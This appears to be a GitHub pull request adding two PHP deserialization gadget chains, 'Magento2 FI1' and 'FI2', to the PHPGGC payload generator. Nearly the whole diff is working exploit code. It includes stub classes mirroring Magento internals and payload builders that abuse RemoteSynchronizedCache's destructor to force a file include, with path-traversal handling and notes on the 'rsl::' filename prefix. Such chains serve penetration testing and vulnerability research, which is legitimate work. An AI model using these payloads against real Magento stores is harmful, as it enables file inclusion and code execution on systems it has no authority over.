Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Magento2 FI1 and FI2 #200

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
34 changes: 34 additions & 0 deletions gadgetchains/Magento2/FI/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
<?php

namespace GadgetChain\Magento2;

class FI1 extends \PHPGGC\GadgetChain\FileInclude
{
public static $version = '2.3.0 <= 2.4.7+';
public static $vector = '__destruct';
public static $author = 'mcdruid';
public static $information = 'Your included file must end in .php
The include uses path traversal to try to get back to the docroot (typically
the "pub" directory). So the target path can be relative to that, or can use
more path traversal to resolve elsewhere. For example a target of "evil.php"
might result in include being called on:
/path/to/magento2/generated/metadata/rsl::/../../../pub/evil.php';

public function process_parameters(array $parameters)
{
$parameters = parent::process_parameters($parameters);
// Remove the .php suffix if it has been specified, as it will be added
// by the application.
$parameters['remote_path'] = preg_replace('#\.php$#i', '', $parameters['remote_path']);
$parameters['remote_path'] = '/../../../pub/' . ltrim($parameters['remote_path'], '/');
return $parameters;
}

public function generate(array $parameters)
{
return new \Magento\Framework\Cache\Backend\RemoteSynchronizedCache(
new \Magento\Framework\App\ObjectManager\ConfigLoader\Compiled(),
$parameters['remote_path']
);
}
}
18 changes: 18 additions & 0 deletions gadgetchains/Magento2/FI/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?php

namespace Magento\Framework\Cache\Backend {
class RemoteSynchronizedCache {
private $remote;
private $lockList = [];

function __construct($remote, $lockList) {
$this->remote = $remote;
$this->lockList[] = $lockList;
}
}
}

namespace Magento\Framework\App\ObjectManager\ConfigLoader {
class Compiled {
}
}
41 changes: 41 additions & 0 deletions gadgetchains/Magento2/FI/2/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
<?php

namespace GadgetChain\Magento2;

class FI2 extends \PHPGGC\GadgetChain\FileInclude
{
public static $version = '2.4.1 <= 2.4.7+';
public static $vector = '__destruct';
public static $author = 'mcdruid';
public static $information = 'Your included file must end in .php
Magento2 will add a prefix of "rsl::" to the filename. So if you specify
/path/to/evil.php the target file should be at /path/to/rsl::evil.php
A path relative to the docroot (typically "pub") should also work.
The path is checked with file_exists() so basic path traversal does not
overcome the prefixing of the filename.';

public function process_parameters(array $parameters)
{
$parameters = parent::process_parameters($parameters);
// Remove the prefix and suffix if they have been specified, as they
// will be added by the application.
$parameters['remote_path'] = preg_replace('#(rsl::|\.php$)#i', '', $parameters['remote_path']);
return $parameters;
}

public function generate(array $parameters)
{
$file = basename($parameters['remote_path']);
$dir = dirname($parameters['remote_path']);

return new \Magento\Framework\Cache\Backend\RemoteSynchronizedCache(
new \Magento\Framework\Interception\PluginListGenerator(
new \Magento\Framework\App\Filesystem\DirectoryList(
$dir,
'metadata'
)
),
$file
);
}
}
33 changes: 33 additions & 0 deletions gadgetchains/Magento2/FI/2/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
<?php

namespace Magento\Framework\Cache\Backend {
class RemoteSynchronizedCache {
private $remote;
private $lockList = [];

function __construct($remote, $lockList) {
$this->remote = $remote;
$this->lockList[] = $lockList;
}
}
}

namespace Magento\Framework\Interception {
class PluginListGenerator {
private $directoryList;

function __construct($directoryList) {
$this->directoryList = $directoryList;
}
}
}

namespace Magento\Framework\App\Filesystem {
class DirectoryList {
private $directories;

function __construct($file, $id) {
$this->directories[$id]['path'] = $file;
}
}
}